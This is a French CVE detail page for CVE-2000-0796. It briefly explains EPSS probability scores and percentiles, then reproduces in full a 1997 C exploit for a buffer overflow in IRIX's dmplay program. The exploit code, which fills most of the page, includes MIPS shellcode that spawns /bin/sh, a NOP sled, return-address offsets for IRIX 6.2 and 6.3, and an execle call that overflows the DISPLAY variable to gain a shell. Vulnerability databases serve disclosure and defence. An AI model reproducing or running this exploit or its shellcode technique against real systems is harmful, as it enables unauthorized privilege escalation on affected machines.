CVE-2000-0796 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/1528/info Certain versions of IRIX ship with a version of dmplay which is vulnerable to a buffer overflow attack. The program, dmplay, is used to play movie files under IRIX. The problem at hand is the way the program handles the DISPLAY variable for the users X terminal. It does not check bounds and therefore is vulnerable to attack by an overly long user supplied string. */ /*## copyright LAST STAGE OF DELIRIUM oct 1997 poland *://lsd-pl.net/ #*/ /*## /usr/sbin/dmplay #*/ #define NOPNUM 800 #define ADRNUM 156 #define PCHNUM 148 #define TMPNUM 52 char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2],display[128]; int i; printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland //lsd-pl.net/\n"); printf("/usr/sbin/dmplay for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n"); if(argc!=3){ printf("usage: %s {62|63} xserver:display\n",argv[0]); exit(-1); } if(!strcmp(argv[1],"62")){ *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10396+32; *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10396+32+900+30540; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10396+32+8000; } if(!strcmp(argv[1],"63")){ *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10348+32; *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10348+32+900-84; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10348+32+8000; } sprintf(display,"DISPLAY=%s",argv[2]); envp[0]=display; envp[1]=0; b=buffer; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b++=0xff; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; for(i=0;i<TMPNUM;i++) *b++=tmp[i%4]; for(i=0;i<PCHNUM;i++) *b++=pch[i%4]; *b=0; execle("/usr/sbin/dmplay","lsd",buffer,0,envp); }